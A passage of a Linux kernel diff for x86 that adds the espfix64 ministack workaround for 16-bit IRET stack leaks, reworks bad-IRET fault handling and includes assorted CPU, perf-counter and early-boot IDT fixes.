b/arch/x86/kernel/apm_32.c @@ -392,7 +392,7 @@ static struct cpuidle_device apm_cpuidle_device; /* * Local variables */ -static struct { +__visible struct { unsigned long offset; unsigned short segment; } apm_bios_entry; diff --git a/arch/x86/kernel/cpu/common.c b/arch/x86/kernel/cpu/common.c index deeb48d9459bd..81e0fe48b9b02 100644 --- a/arch/x86/kernel/cpu/common.c +++ b/arch/x86/kernel/cpu/common.c @@ -144,6 +144,8 @@ EXPORT_PER_CPU_SYMBOL_GPL(gdt_page); static int __init x86_xsave_setup(char *s) { + if (strlen(s)) + return 0; setup_clear_cpu_cap(X86_FEATURE_XSAVE); setup_clear_cpu_cap(X86_FEATURE_XSAVEOPT); setup_clear_cpu_cap(X86_FEATURE_AVX); @@ -278,10 +280,9 @@ __setup("nosmap", setup_disable_smap); static __always_inline void setup_smap(struct cpuinfo_x86 *c) { - unsigned long eflags; + unsigned long eflags = native_save_fl(); /* This should have been cleared long ago */ - raw_local_save_flags(eflags); BUG_ON(eflags & X86_EFLAGS_AC); if (cpu_has(c, X86_FEATURE_SMAP)) { @@ -1134,7 +1135,7 @@ void syscall_init(void) /* Flags to clear on syscall */ wrmsrl(MSR_SYSCALL_MASK, X86_EFLAGS_TF|X86_EFLAGS_DF|X86_EFLAGS_IF| - X86_EFLAGS_IOPL|X86_EFLAGS_AC); + X86_EFLAGS_IOPL|X86_EFLAGS_AC|X86_EFLAGS_NT); } /* diff --git a/arch/x86/kernel/cpu/intel.c b/arch/x86/kernel/cpu/intel.c index f187806dfc187..8533e69d2b89f 100644 --- a/arch/x86/kernel/cpu/intel.c +++ b/arch/x86/kernel/cpu/intel.c @@ -154,6 +154,21 @@ static void __cpuinit early_init_intel(struct cpuinfo_x86 *c) setup_clear_cpu_cap(X86_FEATURE_ERMS); } } + + /* + * Intel Quark Core DevMan_001.pdf section 6.4.11 + * "The operating system also is required to invalidate (i.e., flush) + * the TLB when any changes are made to any of the page table entries. + * The operating system must reload CR3 to cause the TLB to be flushed" + * + * As a result cpu_has_pge() in arch/x86/include/asm/tlbflush.h should + * be false so that __flush_tlb_all() causes CR3 insted of CR4.PGE + * to be modified + */ + if (c->x86 == 5 && c->x86_model == 9) { + pr_info("Disabling PGE capability bit\n"); + setup_clear_cpu_cap(X86_FEATURE_PGE); + } } #ifdef CONFIG_X86_32 diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyperv.c index 8f4be53ea04b8..1853659820e00 100644 --- a/arch/x86/kernel/cpu/mshyperv.c +++ b/arch/x86/kernel/cpu/mshyperv.c @@ -60,6 +60,7 @@ static struct clocksource hyperv_cs = { .rating = 400, /* use this when running on Hyperv*/ .read = read_hv_clock, .mask = CLOCKSOURCE_MASK(64), + .flags = CLOCK_SOURCE_IS_CONTINUOUS, }; static void __init ms_hyperv_init_platform(void) diff --git a/arch/x86/kernel/cpu/perf_event.h b/arch/x86/kernel/cpu/perf_event.h index ba9aadfa683b5..5fd0bbe1aeb04 100644 --- a/arch/x86/kernel/cpu/perf_event.h +++ b/arch/x86/kernel/cpu/perf_event.h @@ -665,6 +665,8 @@ void intel_pmu_lbr_init_atom(void); void intel_pmu_lbr_init_snb(void); +void intel_pmu_pebs_data_source_nhm(void); + int intel_pmu_setup_lbr_filter(struct perf_event *event); int p4_pmu_init(void); diff --git a/arch/x86/kernel/cpu/perf_event_amd.c b/arch/x86/kernel/cpu/perf_event_amd.c index 7e28d9467bb49..4cbe03287b089 100644 --- a/arch/x86/kernel/cpu/perf_event_amd.c +++ b/arch/x86/kernel/cpu/perf_event_amd.c @@ -648,48 +648,48 @@ static __initconst const struct x86_pmu amd_pmu = { .cpu_dead = amd_pmu_cpu_dead, }; -static int setup_event_constraints(void) +static int __init amd_core_pmu_init(void) { - if (boot_cpu_data.x86 == 0x15) + if (!cpu_has_perfctr_core) + return 0; + + switch (boot_cpu_data.x86) { + case 0x15: + pr_cont("Fam15h "); x86_pmu.get_event_constraints = amd_get_event_constraints_f15h; - return 0; -} + break; -static int setup_perfctr_core(void) -{ - if (!cpu_has_perfctr_core) { - WARN(x86_pmu.get_event_constraints == amd_get_event_constraints_f15h, - KERN_ERR "Odd, counter constraints enabled but no core perfctrs detected!"); + default: + pr_err("core perfctr but no constraints; unknown hardware!\n"); return -ENODEV; } - WARN(x86_pmu.get_event_constraints == amd_get_event_constraints, - KERN_ERR "hw perf events core counters need constraints handler!"); - /* * If core performance counter extensions exists, we must use * MSR_F15H_PERF_CTL/MSR_F15H_PERF_CTR msrs. See also - * x86_pmu_addr_offset(). + * amd_pmu_addr_offset(). */ x86_pmu.eventsel = MSR_F15H_PERF_CTL; x86_pmu.perfctr = MSR_F15H_PERF_CTR; x86_pmu.num_counters = AMD64_NUM_COUNTERS_CORE; - printk(KERN_INFO "perf: AMD core performance counters detected\n"); - + pr_cont("core perfctr, "); return 0; } __init int amd_pmu_init(void) { + int ret; + /* Performance-monitoring supported from K7 and later: */ if (boot_cpu_data.x86 < 6) return -ENODEV; x86_pmu = amd_pmu; - setup_event_constraints(); - setup_perfctr_core(); + ret = amd_core_pmu_init(); + if (ret) + return ret; /* Events are common for all AMDs */ memcpy(hw_cache_event_ids, amd_hw_cache_event_ids, diff --git a/arch/x86/kernel/cpu/perf_event_intel.c b/arch/x86/kernel/cpu/perf_event_intel.c index a9e22073bd56a..a18154454e367 100644 --- a/arch/x86/kernel/cpu/perf_event_intel.c +++ b/arch/x86/kernel/cpu/perf_event_intel.c @@ -1198,6 +1198,15 @@ static int intel_pmu_handle_irq(struct pt_regs *regs) intel_pmu_lbr_read(); + /* + * CondChgd bit 63 doesn't mean any overflow status. Ignore + * and clear the bit. + */ + if (__test_and_clear_bit(63, (unsigned long *)&status)) { + if (!status) + goto done; + } + /* * PEBS overflow sets bit 62 in the global status register */ @@ -2079,6 +2088,7 @@ __init int intel_pmu_init(void) intel_perfmon_event_map[PERF_COUNT_HW_STALLED_CYCLES_BACKEND] = X86_CONFIG(.event=0xb1, .umask=0x3f, .inv=1, .cmask=1); + intel_pmu_pebs_data_source_nhm(); x86_add_quirk(intel_nehalem_quirk); pr_cont("Nehalem events, "); @@ -2124,6 +2134,7 @@ __init int intel_pmu_init(void) intel_perfmon_event_map[PERF_COUNT_HW_STALLED_CYCLES_BACKEND] = X86_CONFIG(.event=0xb1, .umask=0x3f, .inv=1, .cmask=1); + intel_pmu_pebs_data_source_nhm(); pr_cont("Westmere events, "); break; @@ -2163,6 +2174,9 @@ __init int intel_pmu_init(void) case 62: /* IvyBridge EP */ memcpy(hw_cache_event_ids, snb_hw_cache_event_ids, sizeof(hw_cache_event_ids)); + /* dTLB-load-misses on IVB is different than SNB */ + hw_cache_event_ids[C(DTLB)][C(OP_READ)][C(RESULT_MISS)] = 0x8108; /* DTLB_LOAD_MISSES.DEMAND_LD_MISS_CAUSES_A_WALK */ + memcpy(hw_cache_extra_regs, snb_hw_cache_extra_regs, sizeof(hw_cache_extra_regs)); @@ -2227,13 +2241,16 @@ __init int intel_pmu_init(void) * counter, so do not extend mask to generic counters */ for_each_event_constraint(c, x86_pmu.event_constraints) { - if (c->cmask != X86_RAW_EVENT_MASK - || c->idxmsk64 == INTEL_PMC_MSK_FIXED_REF_CYCLES) { + if (c->cmask == X86_RAW_EVENT_MASK + && c->idxmsk64 == INTEL_PMC_MSK_FIXED_REF_CYCLES) { + c->idxmsk64 |= (1ULL << x86_pmu.num_counters) - 1; continue; } - c->idxmsk64 |= (1ULL << x86_pmu.num_counters) - 1; - c->weight += x86_pmu.num_counters; + c->idxmsk64 &= + ~(~0ULL << (INTEL_PMC_IDX_FIXED + x86_pmu.num_counters_fixed)); + c->weight = hweight64(c->idxmsk64); + } } diff --git a/arch/x86/kernel/cpu/perf_event_intel_ds.c b/arch/x86/kernel/cpu/perf_event_intel_ds.c index 60250f6870529..17b090a298b49 100644 --- a/arch/x86/kernel/cpu/perf_event_intel_ds.c +++ b/arch/x86/kernel/cpu/perf_event_intel_ds.c @@ -50,7 +50,8 @@ union intel_x86_pebs_dse { #define OP_LH (P(OP, LOAD) | P(LVL, HIT)) #define SNOOP_NONE_MISS (P(SNOOP, NONE) | P(SNOOP, MISS)) -static const u64 pebs_data_source[] = { +/* Version for Sandy Bridge and later */ +static u64 pebs_data_source[] = { P(OP, LOAD) | P(LVL, MISS) | P(LVL, L3) | P(SNOOP, NA),/* 0x00:ukn L3 */ OP_LH | P(LVL, L1) | P(SNOOP, NONE), /* 0x01: L1 local */ OP_LH | P(LVL, LFB) | P(SNOOP, NONE), /* 0x02: LFB hit */ @@ -69,6 +70,14 @@ static const u64 pebs_data_source[] = { OP_LH | P(LVL, UNC) | P(SNOOP, NONE), /* 0x0f: uncached */ }; +/* Patch up minor differences in the bits */ +void __init intel_pmu_pebs_data_source_nhm(void) +{ + pebs_data_source[0x05] = OP_LH | P(LVL, L3) | P(SNOOP, HIT); + pebs_data_source[0x06] = OP_LH | P(LVL, L3) | P(SNOOP, HITM); + pebs_data_source[0x07] = OP_LH | P(LVL, L3) | P(SNOOP, HITM); +} + static u64 precise_store_data(u64 status) { union intel_x86_pebs_dse dse; diff --git a/arch/x86/kernel/cpu/perf_event_intel_uncore.c b/arch/x86/kernel/cpu/perf_event_intel_uncore.c index 8aac56bda7dc3..7185af255fb52 100644 --- a/arch/x86/kernel/cpu/perf_event_intel_uncore.c +++ b/arch/x86/kernel/cpu/perf_event_intel_uncore.c @@ -2657,6 +2657,17 @@ static struct intel_uncore_box *uncore_event_to_box(struct perf_event *event) return uncore_pmu_to_box(uncore_event_to_pmu(event), smp_processor_id()); } +/* + * Using uncore_pmu_event_init pmu event_init callback + * as a detection point for uncore events. + */ +static int uncore_pmu_event_init(struct perf_event *event); + +static bool is_uncore_event(struct perf_event *event) +{ + return event->pmu->event_init == uncore_pmu_event_init; +} + static int uncore_collect_events(struct intel_uncore_box *box, struct perf_event *leader, bool dogrp) { @@ -2671,13 +2682,18 @@ uncore_collect_events(struct intel_uncore_box *box, struct perf_event *leader, b return -EINVAL; n = box->n_events; - box->event_list[n] = leader; - n++; + + if (is_uncore_event(leader)) { + box->event_list[n] = leader; + n++; + } + if (!dogrp) return n; list_for_each_entry(event, &leader->sibling_list, group_entry) { - if (event->state <= PERF_EVENT_STATE_OFF) + if (!is_uncore_event(event) || + event->state <= PERF_EVENT_STATE_OFF) continue; if (n >= max_count) diff --git a/arch/x86/kernel/dumpstack_64.c b/arch/x86/kernel/dumpstack_64.c index addb207dab92d..66e274a3d968e 100644 --- a/arch/x86/kernel/dumpstack_64.c +++ b/arch/x86/kernel/dumpstack_64.c @@ -24,7 +24,6 @@ static char x86_stack_ids[][8] = { [ DEBUG_STACK-1 ] = "#DB", [ NMI_STACK-1 ] = "NMI", [ DOUBLEFAULT_STACK-1 ] = "#DF", - [ STACKFAULT_STACK-1 ] = "#SS", [ MCE_STACK-1 ] = "#MC", #if DEBUG_STKSZ > EXCEPTION_STKSZ [ N_EXCEPTION_STACKS ... diff --git a/arch/x86/kernel/entry_32.S b/arch/x86/kernel/entry_32.S index ac63281760974..5c38e2b298cd7 100644 --- a/arch/x86/kernel/entry_32.S +++ b/arch/x86/kernel/entry_32.S @@ -436,8 +436,8 @@ sysenter_do_call: cmpl $(NR_syscalls), %eax jae sysenter_badsys call *sys_call_table(,%eax,4) - movl %eax,PT_EAX(%esp) sysenter_after_call: + movl %eax,PT_EAX(%esp) LOCKDEP_SYS_EXIT DISABLE_INTERRUPTS(CLBR_ANY) TRACE_IRQS_OFF @@ -517,6 +517,7 @@ ENTRY(system_call) jae syscall_badsys syscall_call: call *sys_call_table(,%eax,4) +syscall_after_call: movl %eax,PT_EAX(%esp) # store the return value syscall_exit: LOCKDEP_SYS_EXIT @@ -531,6 +532,7 @@ syscall_exit: restore_all: TRACE_IRQS_IRET restore_all_notrace: +#ifdef CONFIG_X86_ESPFIX32 movl PT_EFLAGS(%esp), %eax # mix EFLAGS, SS and CS # Warning: PT_OLDSS(%esp) contains the wrong/random values if we # are returning to the kernel. @@ -541,6 +543,7 @@ restore_all_notrace: cmpl $((SEGMENT_LDT << 8) | USER_RPL), %eax CFI_REMEMBER_STATE je ldt_ss # returning to user-space with LDT SS +#endif restore_nocheck: RESTORE_REGS 4 # skip orig_eax/error_code irq_return: @@ -553,6 +556,7 @@ ENTRY(iret_exc) .previous _ASM_EXTABLE(irq_return,iret_exc) +#ifdef CONFIG_X86_ESPFIX32 CFI_RESTORE_STATE ldt_ss: #ifdef CONFIG_PARAVIRT @@ -596,6 +600,7 @@ ldt_ss: lss (%esp), %esp /* switch to espfix segment */ CFI_ADJUST_CFA_OFFSET -8 jmp restore_nocheck +#endif CFI_ENDPROC ENDPROC(system_call) @@ -686,12 +691,12 @@ syscall_fault: END(syscall_fault) syscall_badsys: - movl $-ENOSYS,PT_EAX(%esp) - jmp syscall_exit + movl $-ENOSYS,%eax + jmp syscall_after_call END(syscall_badsys) sysenter_badsys: - movl $-ENOSYS,PT_EAX(%esp) + movl $-ENOSYS,%eax jmp sysenter_after_call END(syscall_badsys) CFI_ENDPROC @@ -708,6 +713,7 @@ END(syscall_badsys) * the high word of the segment base from the GDT and swiches to the * normal stack and adjusts ESP with the matching offset. */ +#ifdef CONFIG_X86_ESPFIX32 /* fixup the stack */ mov GDT_ESPFIX_SS + 4, %al /* bits 16..23 */ mov GDT_ESPFIX_SS + 7, %ah /* bits 24..31 */ @@ -717,8 +723,10 @@ END(syscall_badsys) pushl_cfi %eax lss (%esp), %esp /* switch to the normal stack segment */ CFI_ADJUST_CFA_OFFSET -8 +#endif .endm .macro UNWIND_ESPFIX_STACK +#ifdef CONFIG_X86_ESPFIX32 movl %ss, %eax /* see if on espfix stack */ cmpw $__ESPFIX_SS, %ax @@ -729,6 +737,7 @@ END(syscall_badsys) /* switch to normal stack */ FIXUP_ESPFIX_STACK 27: +#endif .endm /* @@ -1336,11 +1345,13 @@ END(debug) ENTRY(nmi) RING0_INT_FRAME ASM_CLAC +#ifdef CONFIG_X86_ESPFIX32 pushl_cfi %eax movl %ss, %eax cmpw $__ESPFIX_SS, %ax popl_cfi %eax je nmi_espfix_stack +#endif cmpl $ia32_sysenter_target,(%esp) je nmi_stack_fixup pushl_cfi %eax @@ -1380,6 +1391,7 @@ nmi_debug_stack_check: FIX_STACK 24, nmi_stack_correct, 1 jmp nmi_stack_correct +#ifdef CONFIG_X86_ESPFIX32 nmi_espfix_stack: /* We have a RING0_INT_FRAME here. * @@ -1401,6 +1413,7 @@ nmi_espfix_stack: lss 12+4(%esp), %esp # back to espfix stack CFI_ADJUST_CFA_OFFSET -24 jmp irq_return +#endif CFI_ENDPROC END(nmi) diff --git a/arch/x86/kernel/entry_64.S b/arch/x86/kernel/entry_64.S index 7ac938a4bfabf..6ed8f16fd61b2 100644 --- a/arch/x86/kernel/entry_64.S +++ b/arch/x86/kernel/entry_64.S @@ -58,6 +58,7 @@ #include #include #include +#include #include /* Avoid __ASSEMBLER__'ifying just for this. */ @@ -365,7 +366,7 @@ ENDPROC(native_usergs_sysret64) /*CFI_REL_OFFSET ss,0*/ pushq_cfi %rax /* rsp */ CFI_REL_OFFSET rsp,0 - pushq_cfi $(X86_EFLAGS_IF|X86_EFLAGS_BIT1) /* eflags - interrupts on */ + pushq_cfi $(X86_EFLAGS_IF|X86_EFLAGS_FIXED) /* eflags - interrupts on */ /*CFI_REL_OFFSET rflags,0*/ pushq_cfi $__KERNEL_CS /* cs */ /*CFI_REL_OFFSET cs,0*/ @@ -556,11 +557,14 @@ ENTRY(ret_from_fork) testl $3, CS-ARGOFFSET(%rsp) # from kernel_thread? jz 1f - testl $_TIF_IA32, TI_flags(%rcx) # 32-bit compat task needs IRET - jnz int_ret_from_sys_call - - RESTORE_TOP_OF_STACK %rdi, -ARGOFFSET - jmp ret_from_sys_call # go to the SYSRET fastpath + /* + * By the time we get here, we have no idea whether our pt_regs, + * ti flags, and ti status came from the 64-bit SYSCALL fast path, + * the slow path, or one of the ia32entry paths. + * Use int_ret_from_sys_call to return, since it can safely handle + * all of the above. + */ + jmp int_ret_from_sys_call 1: subq $REST_SKIP, %rsp # leave space for volatiles @@ -1056,32 +1060,52 @@ restore_args: irq_return: INTERRUPT_RETURN - _ASM_EXTABLE(irq_return, bad_iret) -#ifdef CONFIG_PARAVIRT ENTRY(native_iret) - iretq - _ASM_EXTABLE(native_iret, bad_iret) + /* + * Are we returning to a stack segment from the LDT? Note: in + * 64-bit mode SS:RSP on the exception stack is always valid. + */ +#ifdef CONFIG_X86_ESPFIX64 + testb $4,(SS-RIP)(%rsp) + jnz native_irq_return_ldt #endif - .section .fixup,"ax" -bad_iret: +.global native_irq_return_iret +native_irq_return_iret: /* - * The iret traps when the %cs or %ss being restored is bogus. - * We've lost the original trap vector and error code. - * #GPF is the most likely one to get for an invalid selector. - * So pretend we completed the iret and took the #GPF in user mode. - * - * We are now running with the kernel GS after exception recovery. - * But error_entry expects us to have user GS to match the user %cs, - * so swap back. + * This may fault. Non-paranoid faults on return to userspace are + * handled by fixup_bad_iret. These include #SS, #GP, and #NP. + * Double-faults due to espfix64 are handled in do_double_fault. + * Other faults here are fatal. */ - pushq $0 + iretq +#ifdef CONFIG_X86_ESPFIX64 +native_irq_return_ldt: + pushq_cfi %rax + pushq_cfi %rdi SWAPGS - jmp general_protection - - .previous + movq PER_CPU_VAR(espfix_waddr),%rdi + movq %rax,(0*8)(%rdi) /* RAX */ + movq (2*8)(%rsp),%rax /* RIP */ + movq %rax,(1*8)(%rdi) + movq (3*8)(%rsp),%rax /* CS */ + movq %rax,(2*8)(%rdi) + movq (4*8)(%rsp),%rax /* RFLAGS */ + movq %rax,(3*8)(%rdi) + movq (6*8)(%rsp),%rax /* SS */ + movq %rax,(5*8)(%rdi) + movq (5*8)(%rsp),%rax /* RSP */ + movq %rax,(4*8)(%rdi) + andl $0xffff0000,%eax + popq_cfi %rdi + orq PER_CPU_VAR(espfix_stack),%rax + SWAPGS + movq %rax,%rsp + popq_cfi %rax + jmp native_irq_return_iret +#endif /* edi: workmask, edx: work */ retint_careful: @@ -1127,9 +1151,9 @@ ENTRY(retint_kernel) call preempt_schedule_irq jmp exit_intr #endif - CFI_ENDPROC END(common_interrupt) + /* * End of kprobes section */ @@ -1468,7 +1492,7 @@ apicinterrupt HYPERVISOR_CALLBACK_VECTOR \ paranoidzeroentry_ist debug do_debug DEBUG_STACK paranoidzeroentry_ist int3 do_int3 DEBUG_STACK -paranoiderrorentry stack_segment do_stack_segment +errorentry stack_segment do_stack_segment #ifdef CONFIG_XEN zeroentry xen_debug do_debug zeroentry xen_int3 do_int3 @@ -1578,16 +1602,15 @@ error_sti: /* * There are two places in the kernel that can potentially fault with - * usergs. Handle them here. The exception handlers after iret run with - * kernel gs again, so don't set the user space flag. B stepping K8s - * sometimes report an truncated RIP for IRET exceptions returning to - * compat mode. Check for these here too. + * usergs. Handle them here. B stepping K8s sometimes report a + * truncated RIP for IRET exceptions returning to compat mode. Check + * for these here too. */ error_kernelspace: incl %ebx - leaq irq_return(%rip),%rcx + leaq native_irq_return_iret(%rip),%rcx cmpq %rcx,RIP+8(%rsp) - je error_swapgs + je error_bad_iret movl %ecx,%eax /* zero extend */ cmpq %rax,RIP+8(%rsp) je bstep_iret @@ -1598,7 +1621,15 @@ error_kernelspace: bstep_iret: /* Fix truncated RIP */ movq %rcx,RIP+8(%rsp) - jmp error_swapgs + /* fall through */ + +error_bad_iret: + SWAPGS + mov %rsp,%rdi + call fixup_bad_iret + mov %rax,%rsp + decl %ebx /* Return to usergs */ + jmp error_sti CFI_ENDPROC END(error_entry) diff --git a/arch/x86/kernel/espfix_64.c b/arch/x86/kernel/espfix_64.c new file mode 100644 index 0000000000000..94d857fb10339 --- /dev/null +++ b/arch/x86/kernel/espfix_64.c @@ -0,0 +1,208 @@ +/* ----------------------------------------------------------------------- * + * + * Copyright 2014 Intel Corporation; author: H. Peter Anvin + * + * This program is free software; you can redistribute it and/or modify it + * under the terms and conditions of the GNU General Public License, + * version 2, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * ----------------------------------------------------------------------- */ + +/* + * The IRET instruction, when returning to a 16-bit segment, only + * restores the bottom 16 bits of the user space stack pointer. This + * causes some 16-bit software to break, but it also leaks kernel state + * to user space. + * + * This works around this by creating percpu "ministacks", each of which + * is mapped 2^16 times 64K apart. When we detect that the return SS is + * on the LDT, we copy the IRET frame to the ministack and use the + * relevant alias to return to userspace. The ministacks are mapped + * readonly, so if the IRET fault we promote #GP to #DF which is an IST + * vector and thus has its own stack; we then do the fixup in the #DF + * handler. + * + * This file sets up the ministacks and the related page tables. The + * actual ministack invocation is in entry_64.S. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Note: we only need 6*8 = 48 bytes for the espfix stack, but round + * it up to a cache line to avoid unnecessary sharing. + */ +#define ESPFIX_STACK_SIZE (8*8UL) +#define ESPFIX_STACKS_PER_PAGE (PAGE_SIZE/ESPFIX_STACK_SIZE) + +/* There is address space for how many espfix pages? */ +#define ESPFIX_PAGE_SPACE (1UL << (PGDIR_SHIFT-PAGE_SHIFT-16)) + +#define ESPFIX_MAX_CPUS (ESPFIX_STACKS_PER_PAGE * ESPFIX_PAGE_SPACE) +#if CONFIG_NR_CPUS > ESPFIX_MAX_CPUS +# error "Need more than one PGD for the ESPFIX hack" +#endif + +#define PGALLOC_GFP (GFP_KERNEL | __GFP_NOTRACK | __GFP_REPEAT | __GFP_ZERO) + +/* This contains the *bottom* address of the espfix stack */ +DEFINE_PER_CPU_READ_MOSTLY(unsigned long, espfix_stack); +DEFINE_PER_CPU_READ_MOSTLY(unsigned long, espfix_waddr); + +/* Initialization mutex - should this be a spinlock? */ +static DEFINE_MUTEX(espfix_init_mutex); + +/* Page allocation bitmap - each page serves ESPFIX_STACKS_PER_PAGE CPUs */ +#define ESPFIX_MAX_PAGES DIV_ROUND_UP(CONFIG_NR_CPUS, ESPFIX_STACKS_PER_PAGE) +static void *espfix_pages[ESPFIX_MAX_PAGES]; + +static __page_aligned_bss pud_t espfix_pud_page[PTRS_PER_PUD] + __aligned(PAGE_SIZE); + +static unsigned int page_random, slot_random; + +/* + * This returns the bottom address of the espfix stack for a specific CPU. + * The math allows for a non-power-of-two ESPFIX_STACK_SIZE, in which case + * we have to account for some amount of padding at the end of each page. + */ +static inline unsigned long espfix_base_addr(unsigned int cpu) +{ + unsigned long page, slot; + unsigned long addr; + + page = (cpu / ESPFIX_STACKS_PER_PAGE) ^ page_random; + slot = (cpu + slot_random) % ESPFIX_STACKS_PER_PAGE; + addr = (page << PAGE_SHIFT) + (slot * ESPFIX_STACK_SIZE); + addr = (addr & 0xffffUL) | ((addr & ~0xffffUL) << 16); + addr += ESPFIX_BASE_ADDR; + return addr; +} + +#define PTE_STRIDE (65536/PAGE_SIZE) +#define ESPFIX_PTE_CLONES (PTRS_PER_PTE/PTE_STRIDE) +#define ESPFIX_PMD_CLONES PTRS_PER_PMD +#define ESPFIX_PUD_CLONES (65536/(ESPFIX_PTE_CLONES*ESPFIX_PMD_CLONES)) + +#define PGTABLE_PROT ((_KERNPG_TABLE & ~_PAGE_RW) | _PAGE_NX) + +static void init_espfix_random(void) +{ + unsigned long rand; + + /* + * This is run before the entropy pools are initialized, + * but this is hopefully better than nothing. + */ + if (!arch_get_random_long(&rand)) { + /* The constant is an arbitrary large prime */ + rdtscll(rand); + rand *= 0xc345c6b72fd16123UL; + } + + slot_random = rand % ESPFIX_STACKS_PER_PAGE; + page_random = (rand / ESPFIX_STACKS_PER_PAGE) + & (ESPFIX_PAGE_SPACE - 1); +} + +void __init init_espfix_bsp(void) +{ + pgd_t *pgd_p; + pteval_t ptemask; + + ptemask = __supported_pte_mask; + + /* Install the espfix pud into the kernel page directory */ + pgd_p = &init_level4_pgt[pgd_index(ESPFIX_BASE_ADDR)]; + pgd_populate(&init_mm, pgd_p, (pud_t *)espfix_pud_page); + + /* Randomize the locations */ + init_espfix_random(); + + /* The rest is the same as for any other processor */ + init_espfix_ap(); +} + +void init_espfix_ap(void) +{ + unsigned int cpu, page; + unsigned long addr; + pud_t pud, *pud_p; + pmd_t pmd, *pmd_p; + pte_t pte, *pte_p; + int n; + void *stack_page; + pteval_t ptemask; + + /* We only have to do this once... */ + if (likely(this_cpu_read(espfix_stack))) + return; /* Already initialized */ + + cpu = smp_processor_id(); + addr = espfix_base_addr(cpu); + page = cpu/ESPFIX_STACKS_PER_PAGE; + + /* Did another CPU already set this up? */ + stack_page = ACCESS_ONCE(espfix_pages[page]); + if (likely(stack_page)) + goto done; + + mutex_lock(&espfix_init_mutex); + + /* Did we race on the lock? */ + stack_page = ACCESS_ONCE(espfix_pages[page]); + if (stack_page) + goto unlock_done; + + ptemask = __supported_pte_mask; + + pud_p = &espfix_pud_page[pud_index(addr)]; + pud = *pud_p; + if (!pud_present(pud)) { + pmd_p = (pmd_t *)__get_free_page(PGALLOC_GFP); + pud = __pud(__pa(pmd_p) | (PGTABLE_PROT & ptemask)); + paravirt_alloc_pmd(&init_mm, __pa(pmd_p) >> PAGE_SHIFT); + for (n = 0; n < ESPFIX_PUD_CLONES; n++) + set_pud(&pud_p[n], pud); + } + + pmd_p = pmd_offset(&pud, addr); + pmd = *pmd_p; + if (!pmd_present(pmd)) { + pte_p = (pte_t *)__get_free_page(PGALLOC_GFP); + pmd = __pmd(__pa(pte_p) | (PGTABLE_PROT & ptemask)); + paravirt_alloc_pte(&init_mm, __pa(pte_p) >> PAGE_SHIFT); + for (n = 0; n < ESPFIX_PMD_CLONES; n++) + set_pmd(&pmd_p[n], pmd); + } + + pte_p = pte_offset_kernel(&pmd, addr); + stack_page = (void *)__get_free_page(GFP_KERNEL); + pte = __pte(__pa(stack_page) | (__PAGE_KERNEL_RO & ptemask)); + for (n = 0; n < ESPFIX_PTE_CLONES; n++) + set_pte(&pte_p[n*PTE_STRIDE], pte); + + /* Job is done for this CPU and any CPU which shares this page */ + ACCESS_ONCE(espfix_pages[page]) = stack_page; + +unlock_done: + mutex_unlock(&espfix_init_mutex); +done: + this_cpu_write(espfix_stack, addr); + this_cpu_write(espfix_waddr, (unsigned long)stack_page + + (addr & ~PAGE_MASK)); +} diff --git a/arch/x86/kernel/head64.c b/arch/x86/kernel/head64.c index 55b67614ed942..3b861b7661ee4 100644 --- a/arch/x86/kernel/head64.c +++ b/arch/x86/kernel/head64.c @@ -162,7 +162,7 @@ void __init x86_64_start_kernel(char * real_mode_data) clear_bss(); for (i = 0; i < NUM_EXCEPTION_VECTORS; i++) - set_intr_gate(i, &early_idt_handlers[i]); + set_intr_gate(i, &early_idt_handler_array[i]); load_idt((const struct desc_ptr *)&idt_descr); copy_bootdata(__va(real_mode_data)); diff --git a/arch/x86/kernel/head_32.S b/arch/x86/kernel/head_32.S index df63cae573e08..8060c8b95b3af 100644 --- a/arch/x86/kernel/head_32.S +++ b/arch/x86/kernel/head_32.S @@ -499,21 +499,22 @@ check_x87: __INIT setup_once: /* - * Set up a idt with 256 entries pointing to ignore_int, - * interrupt gates. It doesn't actually load idt - that needs - * to be done on each CPU. Interrupts are enabled elsewhere, - * when we can be relatively sure everything is ok. + * Set up a idt with 256 interrupt gates that push zero if there + * is no error code and then jump to early_idt_handler_common. + * It doesn't actually load the idt - that needs to be done on + * each CPU. Interrupts are enabled elsewhere, when we can be + * relatively sure everything is ok. */ movl $idt_table,%edi - movl $early_idt_handlers,%eax + movl $early_idt_handler_array,%eax movl $NUM_EXCEPTION_VECTORS,%ecx 1: movl %eax,(%edi) movl %eax,4(%edi) /* interrupt gate, dpl=0, present */ movl $(0x8E000000 + __KERNEL_CS),2(%edi) - addl $9,%eax + addl $EARLY_IDT_HANDLER_SIZE,%eax addl $8,%edi loop 1b @@ -545,26 +546,28 @@ setup_once: andl $0,setup_once_ref /* Once is enough, thanks */ ret -ENTRY(early_idt_handlers) +ENTRY(early_idt_handler_array) # 36(%esp) %eflags # 32(%esp) %cs # 28(%esp) %eip # 24(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushl $0 # Dummy error code, to make stack frame uniform .endif pushl $i # 20(%esp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr -ENDPROC(early_idt_handlers) +ENDPROC(early_idt_handler_array) - /* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%esp) # X86_TRAP_NMI @@ -624,7 +627,7 @@ ex_entry: is_nmi: addl $8,%esp /* drop vector number and error code */ iret -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) /* This is the default interrupt "handler" :-) */ ALIGN diff --git a/arch/x86/kernel/head_64.S b/arch/x86/kernel/head_64.S index f2a9a2aa98f31..54bf9c2d0d134 100644 --- a/arch/x86/kernel/head_64.S +++ b/arch/x86/kernel/head_64.S @@ -65,6 +65,9 @@ startup_64: * tables and then reload them. */ + /* Sanitize CPU configuration */ + call verify_cpu + /* * Compute the delta between the address I am compiled to run at and the * address I am actually running at. @@ -174,6 +177,9 @@ ENTRY(secondary_startup_64) * after the boot processor executes this code. */ + /* Sanitize CPU configuration */ + call verify_cpu + movq $(init_level4_pgt - __START_KERNEL_map), %rax 1: @@ 